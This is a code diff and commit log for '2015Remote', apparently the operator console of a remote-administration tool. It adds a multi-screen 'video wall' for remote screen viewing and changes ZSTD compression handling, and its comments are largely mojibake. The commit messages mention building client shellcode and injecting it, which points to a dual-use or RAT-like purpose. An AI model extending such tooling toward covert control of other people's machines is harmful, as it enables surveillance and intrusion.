+		if (m_parentStyle != 0)
+		{
+			::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
+			::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
+				SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+			m_parentStyle = 0;
+		}
+
+		// ˢ<>¸<EFBFBD><C2B8><EFBFBD><EFBFBD><EFBFBD>
+		m_pMaxChild = nullptr;
+		m_origState.clear();
+		LayoutChildren();
+		return; // <20>Ѵ<EFBFBD><D1B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	}
+
+	// û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD>߼<EFBFBD><DFBC>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	for (auto dlg : m_children)
+	{
+		CRect rc;
+		dlg->GetWindowRect(&rc);
+		ScreenToClient(&rc);
+
+		if (rc.PtInRect(point))
+		{
+			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>ԭʼ״̬
+			m_origState.clear();
+			for (auto d : m_children)
+			{
+				ChildState state;
+				d->GetWindowRect(&state.rect);
+				ScreenToClient(&state.rect);
+				state.style = ::GetWindowLong(d->GetSafeHwnd(), GWL_STYLE);
+				m_origState[d] = state;
+			}
+
+			// <20><><EFBFBD>󻯵<EFBFBD><F3BBAFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
+			LONG style = m_origState[dlg].style;
+			style |= (WS_CAPTION | WS_THICKFRAME | WS_SYSMENU | WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
+			::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, style);
+			::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
+				SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+
+			// <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD><EFBFBD><EFBFBD>
+			if (m_parentStyle == 0)
+				m_parentStyle = ::GetWindowLong(m_hWnd, GWL_STYLE);
+			LONG parentStyle = m_parentStyle & ~(WS_CAPTION | WS_THICKFRAME);
+			::SetWindowLong(m_hWnd, GWL_STYLE, parentStyle);
+			::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
+				SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+
+			// ȫ<><C8AB><EFBFBD><EFBFBD>ʾ<EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
+			CRect rcClient;
+			GetClientRect(&rcClient);
+			dlg->MoveWindow(rcClient, TRUE);
+			m_pMaxChild = dlg;
+
+			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
+			for (auto d : m_children)
+				if (d != dlg) d->ShowWindow(SW_HIDE);
+
+			break;
+		}
+	}
+
+	CDialog::OnLButtonDblClk(nFlags, point);
+}
+
+BOOL CGridDialog::PreTranslateMessage(MSG* pMsg)
+{
+	if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) {
+		return TRUE;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
+	}
+	return CDialog::PreTranslateMessage(pMsg);
+}
--- a/server/2015Remote/CGridDialog.h
+++ b/server/2015Remote/CGridDialog.h
@@ -0,0 +1,46 @@
+#pragma once
+#include <vector>
+#include <map>
+#include <afxwin.h>
+
+#define WM_CHILD_CLOSED (WM_USER + 100)
+
+class CGridDialog : public CDialog
+{
+public:
+	CGridDialog();
+
+	BOOL AddChild(CDialog* pDlg);			// <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD>ӶԻ<D3B6><D4BB><EFBFBD>
+	void RemoveChild(CDialog* pDlg);		// <20><>̬<EFBFBD>Ƴ<EFBFBD><C6B3>ӶԻ<D3B6><D4BB><EFBFBD>
+	void SetGrid(int rows, int cols);		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	void LayoutChildren();					// <20><><EFBFBD><EFBFBD>
+	BOOL HasSlot() const {
+		return m_children.size() < m_max;
+	}
+
+protected:
+	virtual BOOL OnInitDialog();
+	afx_msg void OnSize(UINT nType, int cx, int cy);
+	afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point);
+	virtual BOOL PreTranslateMessage(MSG* pMsg);
+	afx_msg LRESULT OnChildClosed(WPARAM wParam, LPARAM lParam);
+
+	DECLARE_MESSAGE_MAP()
+
+private:
+	HICON m_hIcon;
+	int m_rows = 0;
+	int m_cols = 0;
+	int m_max = 0;
+	std::vector<CDialog*> m_children;
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	CDialog* m_pMaxChild = nullptr;  // <20><>ǰ<EFBFBD><C7B0><EFBFBD>󻯵<EFBFBD><F3BBAFB5>ӶԻ<D3B6><D4BB><EFBFBD>
+	LONG m_parentStyle = 0;           // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭʼ<D4AD><CABC>ʽ
+
+	struct ChildState {
+		CRect rect;   // ԭʼλ<CABC><CEBB>
+		LONG style;   // ԭʼ<D4AD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
+	};
+	std::map<CDialog*, ChildState> m_origState;
+};
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -64,11 +64,6 @@ IOCPServer::IOCPServer(void)

 	m_NotifyProc = NULL;
 	m_OfflineProc = NULL;
-#if USING_CTX
-	m_Cctx = ZSTD_createCCtx();
-	m_Dctx = ZSTD_createDCtx();
-	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
-#endif
 }

 void IOCPServer::Destroy() {
@@ -133,11 +128,6 @@ IOCPServer::~IOCPServer(void)
 	m_ulBusyThread = 0;
 	m_ulKeepLiveTime = 0;

-#if USING_CTX
-	ZSTD_freeCCtx(m_Cctx);
-	ZSTD_freeDCtx(m_Dctx);
-#endif
-
 	WSACleanup();
 }

@@ -304,6 +294,8 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 {
 	Mprintf("======> IOCPServer WorkThreadProc begin \n");

+	ZSTD_DCtx* m_Dctx = ZSTD_createDCtx(); // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+
 	IOCPServer* This = (IOCPServer*)(lParam);

 	HANDLE   hCompletionPort = This->m_hCompletionPort;
@@ -384,7 +376,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 			{
 				try
 				{   
-					This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans);  
+					This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans, m_Dctx);

 					ContextObject = NULL;
 				}
@@ -405,13 +397,16 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
 	if (n == 0) {
 		Mprintf("======> IOCPServer All WorkThreadProc done\n");
 	}
+
+	ZSTD_freeDCtx(m_Dctx);
+
 	Mprintf("======> IOCPServer WorkThreadProc end \n");

 	return 0;
 }

 //<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
-BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
+BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx)
 {
 	BOOL bRet = FALSE;

@@ -421,10 +416,10 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
 		bRet = OnClientInitializing(ContextObject, dwTrans); 
 		break;
 	case IORead:
-		bRet = OnClientReceiving(ContextObject,dwTrans);
+		bRet = OnClientReceiving(ContextObject, dwTrans, ctx);
 		break;
 	case IOWrite:
-		bRet = OnClientPostSending(ContextObject,dwTrans);
+		bRet = OnClientPostSending(ContextObject, dwTrans);
 		break;
 	case IOIdle:
 		Mprintf("=> HandleIO PacketFlags= IOIdle\n");
@@ -443,7 +438,8 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTr
 }

 // May be this function should be a member of `CONTEXT_OBJECT`.
-BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
+BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx) {
+	AUTO_TICK(40);
 	BOOL ret = 1;
 	try
 	{
@@ -547,9 +543,9 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
 	return ret;
 }

-BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)
+BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx)
 {
-	if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
+	if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc, ctx)) {
 		RemoveStaleContext(ContextObject);
 		return FALSE;
 	}
@@ -559,7 +555,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 	return TRUE;
 }

-BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx* m_Cctx) {
 	assert(ContextObject);
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
 	int cmd = szBuffer[0];
@@ -589,12 +585,8 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
 				break;
 			}
 			bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
-#if USING_LZ4
-			unsigned long	ulCompressedLength = LZ4_compressBound(ulOriginalLength);
-#else
 			unsigned long	ulCompressedLength = usingZstd ? 
 				ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
-#endif
 			BYTE			buf[1024];
 			LPBYTE			CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
 			Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -4,11 +4,6 @@
 #include <WinSock2.h>
 #pragma comment(lib,"ws2_32.lib")
 #include "Server.h"
-
-#if USING_CTX
-#include "zstd/zstd.h"
-#endif
-
 #include <Mstcpip.h>

 #define	NC_CLIENT_CONNECT		0x0001
@@ -18,14 +13,7 @@
 // ZLIB ѹ<><D1B9><EFBFBD><EFBFBD>
 #include "zlib/zlib.h"

-#if USING_LZ4
-#include "lz4/lz4.h"
-#pragma comment(lib, "lz4/lz4.lib")
-#define C_FAILED(p) (0 == (p))
-#define C_SUCCESS(p) (!C_FAILED(p))
-#define Mcompress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
-#define Muncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
-#else // ZSTD
+// ZSTD
 #include "zstd/zstd.h"
 #ifdef _WIN64
 #pragma comment(lib, "zstd/zstd_x64.lib")
@@ -35,15 +23,12 @@
 #define C_FAILED(p) ZSTD_isError(p)
 #define C_SUCCESS(p) (!C_FAILED(p))
 #define ZSTD_CLEVEL 5
-#if USING_CTX
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
-#else
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
-#endif
-#endif

+#define Mcompress(dest, destLen, source, sourceLen) m_Cctx ? ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen):\
+	ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
+
+#define Muncompress(dest, destLen, source, sourceLen) m_Dctx ? ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen):\
+	ZSTD_decompress(dest, *(destLen), source, sourceLen)

 class IOCPServer : public Server
 {
@@ -63,11 +48,6 @@ protected:
 	ULONG				m_ulCurrentThread;
 	ULONG				m_ulBusyThread;

-#if USING_CTX
-	ZSTD_CCtx*			m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	ZSTD_DCtx*			m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-#endif
-
 	ULONG				m_ulKeepLiveTime;
 	pfnNotifyProc		m_NotifyProc;
 	pfnOfflineProc		m_OfflineProc;
@@ -86,9 +66,9 @@ private:
 	VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
 	VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
 	VOID PostRecv(CONTEXT_OBJECT* ContextObject);
-	BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
+	BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
 	BOOL OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);
-	BOOL OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);
+	BOOL OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
 	VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
 	BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject, ULONG ulCompressedLength);
 	int AddWorkThread(int n) {
@@ -142,12 +122,7 @@ public:
 		m_iocpServer(pIOCPServer),
 		CDialog(nIDTemplate, pParent) {

-		sockaddr_in  sockAddr;
-		memset(&sockAddr, 0, sizeof(sockAddr));
-		int nSockAddrLen = sizeof(sockaddr_in);
-		BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
-
-		m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
+		m_IPAddress = pContext->GetPeerName().c_str();
 		m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
 	}
 	virtual ~CDialogBase(){}
@@ -186,6 +161,6 @@ public:

 typedef CDialogBase DialogBase;

-BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc);
+BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx *ctx=NULL);

-BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength, ZSTD_CCtx *ctx=NULL);
--- a/server/2015Remote/ScreenSpyDlg.cpp
+++ b/server/2015Remote/ScreenSpyDlg.cpp
@@ -7,6 +7,7 @@
 #include "afxdialogex.h"
 #include <imm.h>
 #include <WinUser.h>
+#include "CGridDialog.h"


 // CScreenSpyDlg 对话框
@@ -126,11 +127,26 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
 	ON_WM_MOUSELEAVE()
 	ON_WM_KILLFOCUS()
 	ON_WM_SIZE()
+	ON_WM_LBUTTONDBLCLK()
 END_MESSAGE_MAP()


 // CScreenSpyDlg 消息处理程序

+void CScreenSpyDlg::OnLButtonDblClk(UINT nFlags, CPoint point)
+{
+	if (!m_bIsCtrl) {
+		CWnd* parent = GetParent();
+		if (parent) {
+			// 通知父对话框，传递点击点
+			CPoint ptScreen = point;
+			ClientToScreen(&ptScreen);
+			GetParent()->ScreenToClient(&ptScreen);
+			GetParent()->SendMessage(WM_LBUTTONDBLCLK, nFlags, MAKELPARAM(ptScreen.x, ptScreen.y));
+		}
+	}
+	CDialog::OnLButtonDblClk(nFlags, point);
+}

 BOOL CScreenSpyDlg::OnInitDialog()
 {
@@ -195,13 +211,19 @@ BOOL CScreenSpyDlg::OnInitDialog()
 VOID CScreenSpyDlg::OnClose()
 {
 	CancelIO();
+	// 恢复鼠标状态
+	SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
+	// 通知父窗口
+	CWnd* parent = GetParent();
+	if (parent)
+		parent->SendMessage(WM_CHILD_CLOSED, (WPARAM)this, 0);
+
 	// 等待数据处理完毕
 	if (IsProcessing()) {
 		ShowWindow(SW_HIDE);
 		return;
 	}
-	// 恢复鼠标状态
-	SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
+
 	DialogBase::OnClose();
 }

--- a/server/2015Remote/ScreenSpyDlg.h
+++ b/server/2015Remote/ScreenSpyDlg.h
@@ -120,4 +120,5 @@ public:
 	afx_msg void OnPaint();
 	afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
 	virtual BOOL PreTranslateMessage(MSG* pMsg);
+	void OnLButtonDblClk(UINT nFlags, CPoint point);
 };
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -76,7 +76,19 @@ protected:
 	virtual ~HeaderParser() {
 		Reset();
 	}
-	PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
+	std::string getXForwardedFor(const std::string& headers) {
+		const std::string key = "X-Forwarded-For: ";
+		size_t pos = headers.find(key);
+		if (pos == std::string::npos)
+			return "";
+		pos += key.size();
+		size_t end = headers.find("\r\n", pos);
+		if (end == std::string::npos) 
+			return "";
+		std::string ip = headers.substr(pos, end - pos);
+		return ip;
+	}
+	PR Parse(CBuffer& buf, int& compressMethod, std::string &peer) {
 		const int MinimumCount = MIN_COMLEN;
 		if (buf.GetBufferLength() < MinimumCount) {
 			return PR{ PARSER_NEEDMORE };
@@ -86,10 +98,14 @@ protected:
 		ULONG srcSize = buf.GetBufferLength();
 		PkgMaskType maskType = MaskTypeUnknown;
 		ULONG ret = TryUnMask(src, srcSize, maskType);
+		std::string str = buf.Skip(ret);
+		if (maskType == MaskTypeHTTP) {
+			std::string clientIP = getXForwardedFor(str);
+			if (!clientIP.empty()) peer = clientIP;
+		}
 		if (nullptr == m_Masker) {
 			m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
 		}
-		buf.Skip(ret);
 		if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
 			return PR{ PARSER_NEEDMORE };

--- a/server/2015Remote/SettingDlg.cpp
+++ b/server/2015Remote/SettingDlg.cpp
@@ -61,6 +61,7 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
 	DDX_Control(pDX, IDC_EDIT_FRP_TOKEN, m_EditFrpToken);
 	DDX_Text(pDX, IDC_EDIT_FRP_TOKEN, m_sFrpToken);
 	DDV_MaxChars(pDX, m_sFrpToken, 24);
+	DDX_Control(pDX, IDC_COMBO_VIDEO_WALL, m_ComboVideoWall);
 }

 BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
@@ -143,6 +144,15 @@ BOOL CSettingDlg::OnInitDialog()
 	m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
 	m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();

+	int size = THIS_CFG.GetInt("settings", "VideoWallSize");
+	m_ComboVideoWall.InsertString(0, "<EFBFBD><EFBFBD>");
+	m_ComboVideoWall.InsertString(1, "2 x 2");
+	m_ComboVideoWall.InsertString(2, "3 x 3");
+	m_ComboVideoWall.InsertString(3, "4 x 4");
+	m_ComboVideoWall.InsertString(4, "5 x 5");
+	if (size < 1 || size > 5) size = 1;
+	m_ComboVideoWall.SetCurSel(size-1);
+
 	UpdateData(FALSE);

 	return TRUE; 
@@ -174,6 +184,8 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
 	THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
 	THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());

+	THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
+
 	m_ApplyButton.EnableWindow(FALSE);
 	m_ApplyButton.ShowWindow(SW_HIDE);
 }
--- a/server/2015Remote/SettingDlg.h
+++ b/server/2015Remote/SettingDlg.h
@@ -48,4 +48,5 @@ public:
 	int m_nFrpPort;
 	CEdit m_EditFrpToken;
 	CString m_sFrpToken;
+	CComboBox m_ComboVideoWall;
 };
--- a/server/2015Remote/proxy/ProxyMapDlg.cpp
+++ b/server/2015Remote/proxy/ProxyMapDlg.cpp
@@ -62,11 +62,7 @@ BOOL CProxyMapDlg::OnInitDialog()
    m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);

 	CString strString;
-	sockaddr_in  ClientAddress;
-	memset(&ClientAddress, 0, sizeof(ClientAddress));
-	int iClientAddressLength = sizeof(ClientAddress);
-	BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
-	strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
+	strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_IPAddress);
 	SetWindowText(strString);

    str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -5,12 +5,7 @@

 #pragma once

-// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
-#define USING_LZ4 0
-#if !USING_LZ4
 #define USING_ZSTD 1
-#define USING_CTX 0
-#endif

 #ifndef _SECURE_ATL
 #define _SECURE_ATL 1
Author	SHA1	Message	Date
yuanyuanxiang	c36c177d4e	Release v1.1.6	2025-09-11 14:53:07 +08:00
yuanyuanxiang	d545e268d1	Feature: Supports multiple remote displays (video wall)	2025-09-07 21:44:43 +08:00
yuanyuanxiang	d0b6b3938e	Feature: Add client shellcode building option	2025-09-01 13:14:19 +08:00
yuanyuanxiang	f4ae2efbc7	Feature: Support setting the client building flag	2025-08-31 18:26:27 +08:00
yuanyuanxiang	34b00787d2	Improve: getPublicIP may fail and block mater program	2025-08-20 14:03:44 +08:00
yuanyuanxiang	43eb3dfba4	fix: Improve creating registry and injecting shellcode	2025-08-20 14:03:44 +08:00
yuanyuanxiang	4a706d4f7b	Improve: Master using ZSTD_DCtx and using new RTT	2025-08-15 03:04:17 +08:00
yuanyuanxiang	e779fb0b51	Improve: Enable zstd multi-thread compression for client	2025-08-14 03:34:10 +08:00
yuanyuanxiang	303b5ef824	fix: #182 First command using HTTP protocol	2025-08-10 12:04:08 +02:00
yuanyuanxiang	493a476227	Feature: Support compression option when building client	2025-08-10 03:04:13 +08:00